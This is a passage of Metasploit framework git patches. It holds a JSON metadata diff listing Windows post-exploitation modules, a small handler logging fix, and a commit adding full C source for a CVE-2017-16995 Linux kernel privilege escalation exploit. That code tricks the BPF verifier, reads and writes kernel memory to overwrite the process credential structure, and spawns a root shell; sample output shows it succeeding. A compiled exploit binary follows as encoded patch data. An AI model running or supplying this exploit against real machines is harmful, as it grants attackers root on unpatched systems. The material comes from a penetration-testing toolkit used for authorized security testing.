@@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-12 17:11:29 +0000", "path": "/modules/post/windows/manage/inject_host.rb", "is_install_path": true, @@ -106149,9 +102503,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/killav.rb", "is_install_path": true, @@ -106175,9 +102527,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/migrate.rb", "is_install_path": true, @@ -106201,9 +102551,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/mssql_local_auth_bypass.rb", "is_install_path": true, @@ -106228,9 +102576,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/multi_meterpreter_inject.rb", "is_install_path": true, @@ -106254,9 +102600,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/nbd_server.rb", "is_install_path": true, @@ -106281,9 +102625,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/payload_inject.rb", "is_install_path": true, @@ -106307,9 +102649,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-26 17:46:18 +0000", "path": "/modules/post/windows/manage/persistence_exe.rb", "is_install_path": true, @@ -106333,9 +102673,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/portproxy.rb", "is_install_path": true, @@ -106345,7 +102683,7 @@ "name": "Powershell .NET Compiler", "full_name": "post/windows/manage/powershell/build_net_code", "rank": 600, - "disclosure_date": "2012-08-14 00:00:00 -0500", + "disclosure_date": "2012-08-14", "type": "post", "author": [ "RageLtMan " @@ -106359,9 +102697,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-27 07:41:06 +0000", "path": "/modules/post/windows/manage/powershell/build_net_code.rb", "is_install_path": true, @@ -106386,9 +102722,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/powershell/exec_powershell.rb", "is_install_path": true, @@ -106413,9 +102747,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/powershell/load_script.rb", "is_install_path": true, @@ -106439,9 +102771,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/pptp_tunnel.rb", "is_install_path": true, @@ -106466,9 +102796,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/manage/priv_migrate.rb", "is_install_path": true, @@ -106492,9 +102820,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/pxeexploit.rb", "is_install_path": true, @@ -106518,9 +102844,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/reflective_dll_inject.rb", "is_install_path": true, @@ -106544,9 +102868,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/remove_ca.rb", "is_install_path": true, @@ -106570,9 +102892,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/remove_host.rb", "is_install_path": true, @@ -106596,9 +102916,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-03 04:57:41 +0000", "path": "/modules/post/windows/manage/rid_hijack.rb", "is_install_path": true, @@ -106622,9 +102940,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/rpcapd_start.rb", "is_install_path": true, @@ -106648,9 +102964,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-09 15:27:50 +0000", "path": "/modules/post/windows/manage/run_as.rb", "is_install_path": true, @@ -106674,9 +102988,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/run_as_psh.rb", "is_install_path": true, @@ -106700,9 +103012,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/sdel.rb", "is_install_path": true, @@ -106727,9 +103037,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/sticky_keys.rb", "is_install_path": true, @@ -106753,9 +103061,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/vmdk_mount.rb", "is_install_path": true, @@ -106779,9 +103085,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/vss_create.rb", "is_install_path": true, @@ -106805,9 +103109,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/vss_list.rb", "is_install_path": true, @@ -106831,9 +103133,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/vss_mount.rb", "is_install_path": true, @@ -106857,9 +103157,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/manage/vss_set_storage.rb", "is_install_path": true, @@ -106883,9 +103181,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/vss_storage.rb", "is_install_path": true, @@ -106909,9 +103205,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/manage/wdigest_caching.rb", "is_install_path": true, @@ -106935,9 +103229,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/manage/webcam.rb", "is_install_path": true, @@ -106961,9 +103253,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/recon/computer_browser_discovery.rb", "is_install_path": true, @@ -106987,9 +103277,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/recon/outbound_ports.rb", "is_install_path": true, @@ -107013,9 +103301,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/recon/resolve_ip.rb", "is_install_path": true, @@ -107039,9 +103325,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/wlan/wlan_bss_list.rb", "is_install_path": true, @@ -107065,9 +103349,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/wlan/wlan_current_connection.rb", "is_install_path": true, @@ -107091,9 +103373,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/post/windows/wlan/wlan_disconnect.rb", "is_install_path": true, @@ -107117,9 +103397,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-03 11:41:09 +0000", "path": "/modules/post/windows/wlan/wlan_probe_request.rb", "is_install_path": true, @@ -107143,9 +103421,7 @@ "platform": "Windows", "arch": "", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/post/windows/wlan/wlan_profile.rb", "is_install_path": true, From c8891206af3a79b8f0e89639af876502d24803fe Mon Sep 17 00:00:00 2001 From: William Vu Date: Fri, 13 Jul 2018 17:29:52 -0500 Subject: [PATCH 173/217] Add vprint_status back to bind_named_pipe I thought it was redundant with the improved handler start message, but it broke consistency with the other print statements. Fixing. --- lib/msf/core/handler/bind_named_pipe.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/handler/bind_named_pipe.rb b/lib/msf/core/handler/bind_named_pipe.rb index d130ffc210..4a7e7d354b 100644 --- a/lib/msf/core/handler/bind_named_pipe.rb +++ b/lib/msf/core/handler/bind_named_pipe.rb @@ -285,6 +285,7 @@ module Msf print_status("Started #{human_name} handler against #{rhost}:#{lport}") # First, create a socket and connect to the SMB service + vprint_status("Connecting to #{rhost}:#{lport}") begin sock = Rex::Socket::Tcp.create( 'PeerHost' => rhost, From 9bdec97b2ee4e45bbf9e1ea0150417f936b20d0d Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Jul 2018 23:01:17 +0000 Subject: [PATCH 174/217] Fix bpf_sign_extension_priv_esc --- data/exploits/cve-2017-16995/exploit.c | 496 ++++++++++++++++++ data/exploits/cve-2017-16995/exploit.out | Bin 14040 -> 34784 bytes .../local/bpf_sign_extension_priv_esc.md | 91 ++-- .../local/bpf_sign_extension_priv_esc.rb | 476 +++++------------ 4 files changed, 668 insertions(+), 395 deletions(-) create mode 100644 data/exploits/cve-2017-16995/exploit.c diff --git a/data/exploits/cve-2017-16995/exploit.c b/data/exploits/cve-2017-16995/exploit.c new file mode 100644 index 0000000000..0e131151b3 --- /dev/null +++ b/data/exploits/cve-2017-16995/exploit.c @@ -0,0 +1,496 @@ +/* + Credit @bleidl, this is a slight modification to his original POC + https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c + + For details on how the exploit works, please visit + https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html + + Tested on Ubuntu 16.04 with the following Kernels + 4.4.0-31-generic + 4.4.0-62-generic + 4.4.0-81-generic + 4.4.0-116-generic + 4.8.0-58-generic + 4.10.0.42-generic + 4.13.0-21-generic + + Tested on Fedora 27 + 4.13.9-300 + gcc cve-2017-16995.c -o cve-2017-16995 + internet@client:~/cve-2017-16995$ ./cve-2017-16995 + [.] + [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) + [.] + [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** + [.] + [*] creating bpf map + [*] sneaking evil bpf past the verifier + [*] creating socketpair() + [*] attaching bpf backdoor to socket + [*] skbuff => ffff880038c3f500 + [*] Leaking sock struct from ffff88003af5e180 + [*] Sock->sk_rcvtimeo at offset 472 + [*] Cred structure at ffff880038704600 + [*] UID from cred structure: 1000, matches the current: 1000 + [*] hammering cred structure at ffff880038704600 + [*] credentials patched, launching shell... + #id + uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) + +*/ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +char buffer[64]; +int sockets[2]; +int mapfd, progfd; +int doredact = 0; + +#define LOG_BUF_SIZE 65536 +#define PHYS_OFFSET 0xffff880000000000 +char bpf_log_buf[LOG_BUF_SIZE]; + +static __u64 ptr_to_u64(void *ptr) +{ + return (__u64) (unsigned long) ptr; +} + +int bpf_prog_load(enum bpf_prog_type prog_type, + const struct bpf_insn *insns, int prog_len, + const char *license, int kern_version) +{ + union bpf_attr attr = { + .prog_type = prog_type, + .insns = ptr_to_u64((void *) insns), + .insn_cnt = prog_len / sizeof(struct bpf_insn), + .license = ptr_to_u64((void *) license), + .log_buf = ptr_to_u64(bpf_log_buf), + .log_size = LOG_BUF_SIZE, + .log_level = 1, + }; + + attr.kern_version = kern_version; + + bpf_log_buf[0] = 0; + + return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); +} + +int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, + int max_entries, int map_flags) +{ + union bpf_attr attr = { + .map_type = map_type, + .key_size = key_size, + .value_size = value_size, + .max_entries = max_entries + }; + + return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); +} + +int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + .flags = flags, + }; + + return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); +} + +int bpf_lookup_elem(int fd, void *key, void *value) +{ + union bpf_attr attr = { + .map_fd = fd, + .key = ptr_to_u64(key), + .value = ptr_to_u64(value), + }; + + return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); +} + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV64_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_MOV32_IMM(DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_LD_IMM64(DST, IMM) \ + BPF_LD_IMM64_RAW(DST, 0, IMM) + +#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_LD | BPF_DW | BPF_IMM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = (__u32) (IMM) }), \ + ((struct bpf_insn) { \ + .code = 0, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = ((__u64) (IMM)) >> 32 }) + +#ifndef BPF_PSEUDO_MAP_FD +# define BPF_PSEUDO_MAP_FD 1 +#endif + +#define BPF_LD_MAP_FD(DST, MAP_FD) \ + BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) + +#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = 0 }) + +#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_JMP_IMM(OP, DST, IMM, OFF) \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ + ((struct bpf_insn) { \ + .code = CODE, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = OFF, \ + .imm = IMM }) + +#define BPF_EXIT_INSN() \ + ((struct bpf_insn) { \ + .code = BPF_JMP | BPF_EXIT, \ + .dst_reg = 0, \ + .src_reg = 0, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_DISABLE_VERIFIER() \ + BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ + BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ + BPF_EXIT_INSN() /* } */ \ + +#define BPF_MAP_GET(idx, dst) \ + BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ + BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ + BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ + BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ + BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ + BPF_EXIT_INSN(), /* exit(0); */ \ + BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */ + +static int load_prog() { + struct bpf_insn prog[] = { + BPF_DISABLE_VERIFIER(), + + BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */ + + BPF_LD_MAP_FD(BPF_REG_9, mapfd), + + BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */ + BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */ + BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */ + + /* store map slot address in r2 */ + BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */ + BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */ + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */ + /* get fp */ + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */ + /* get skbuff */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + + BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */ + /* read */ + BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0), + BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0), + BPF_EXIT_INSN(), + /* else */ + /* write */ + BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0), + BPF_EXIT_INSN(), + + }; + return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0); +} + +void info(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[.] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void msg(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void redact(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + if(doredact) { + fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n"); + return; + } + fprintf(stdout, "[*] "); + vfprintf(stdout, fmt, args); + va_end(args); +} + +void fail(const char *fmt, ...) { + va_list args; + va_start(args, fmt); + fprintf(stdout, "[!] "); + vfprintf(stdout, fmt, args); + va_end(args); + exit(1); +} + +void +initialize() { + info("\n"); + info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n"); + info("\n"); + info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n"); + info("\n"); + + redact("creating bpf map\n"); + mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0); + if (mapfd < 0) { + fail("failed to create bpf map: '%s'\n", strerror(errno)); + } + + redact("sneaking evil bpf past the verifier\n"); + progfd = load_prog(); + if (progfd < 0) { + if (errno == EACCES) { + msg("log:\n%s", bpf_log_buf); + } + fail("failed to load prog '%s'\n", strerror(errno)); + } + + redact("creating socketpair()\n"); + if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) { + fail("failed to create socket pair '%s'\n", strerror(errno)); + } + + redact("attaching bpf backdoor to socket\n"); + if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) { + fail("setsockopt '%s'\n", strerror(errno)); + } +} + +static void writemsg() { + ssize_t n = write(sockets[0], buffer, sizeof(buffer)); + if (n < 0) { + perror("write"); + return; + } + if (n != sizeof(buffer)) { + fprintf(stderr, "short write: %zd\n", n); + } +} + +static void +update_elem(int key, unsigned long value) { + if (bpf_update_elem(mapfd, &key, &value, 0)) { + fail("bpf_update_elem failed '%s'\n", strerror(errno)); + } +} + +static unsigned long +get_value(int key) { + unsigned long value; + if (bpf_lookup_elem(mapfd, &key, &value)) { + fail("bpf_lookup_elem failed '%s'\n", strerror(errno)); + } + return value; +} + +static unsigned long +sendcmd(unsigned long op, unsigned long addr, unsigned long value) { + update_elem(0, op); + update_elem(1, addr); + update_elem(2, value); + writemsg(); + return get_value(2); +} + +unsigned long +get_skbuff() { + return sendcmd(1, 0, 0); +} + +unsigned long +get_fp() { + return sendcmd(0, 0, 0); +} + +unsigned long +read64(unsigned long addr) { + return sendcmd(2, addr, 0); +} + +void +write64(unsigned long addr, unsigned long val) { + (void)sendcmd(3, addr, val); +} + +static unsigned long find_cred() { + uid_t uid = getuid(); + unsigned long skbuff = get_skbuff(); + /* + * struct sk_buff { + * [...24 byte offset...] + * struct sock *sk; + * }; + * + */ + + unsigned long sock_addr = read64(skbuff + 24); + msg("skbuff => %llx\n", skbuff); + msg("Leaking sock struct from %llx\n", sock_addr); + if(sock_addr < PHYS_OFFSET){ + fail("Failed to find Sock address from sk_buff.\n"); + } + + /* + * scan forward for expected sk_rcvtimeo value. + * + * struct sock { + * [...] + * const struct cred *sk_peer_cred; + * long sk_rcvtimeo; + * }; + */ + for (int i = 0; i < 100; i++, sock_addr += 8) { + if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) { + unsigned long cred_struct = read64(sock_addr - 8); + if(cred_struct < PHYS_OFFSET) { + continue; + } + + unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF); + + if(test_uid != uid) { + continue; + } + msg("Sock->sk_rcvtimeo at offset %d\n", i * 8); + msg("Cred structure at %llx\n", cred_struct); + msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid); + + return cred_struct; + } + } + fail("failed to find sk_rcvtimeo.\n"); +} + +static void +hammer_cred(unsigned long addr) { + msg("hammering cred structure at %llx\n", addr); +#define w64(w) { write64(addr, (w)); addr += 8; } + unsigned long val = read64(addr) & 0xFFFFFFFFUL; + w64(val); + w64(0); w64(0); w64(0); w64(0); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); + w64(0xFFFFFFFFFFFFFFFF); +#undef w64 +} + +int +main(int argc, char **argv) { + initialize(); + hammer_cred(find_cred()); + msg("credentials patched, launching shell...\n"); + if(execl("/bin/sh", "/bin/sh", NULL)) { + fail("exec %s\n", strerror(errno)); + } +} + diff --git a/data/exploits/cve-2017-16995/exploit.out b/data/exploits/cve-2017-16995/exploit.out index f418861d4501954d34644d50350e5f12b7593a60..3a7bd332f65b34580ea3a7274047f847eb7b3525 100644 GIT binary patch literal 34784 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 